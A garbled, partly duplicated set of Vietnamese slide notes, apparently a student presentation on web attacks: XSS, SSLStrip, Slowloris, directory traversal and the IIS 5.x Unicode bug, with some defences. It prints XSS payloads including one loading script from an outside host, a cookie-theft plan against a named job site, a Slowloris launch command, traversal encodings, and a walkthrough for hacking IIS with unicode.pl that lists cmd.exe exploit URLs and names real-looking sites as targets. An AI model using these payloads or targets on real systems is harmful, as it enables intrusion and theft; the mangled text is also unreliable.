SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
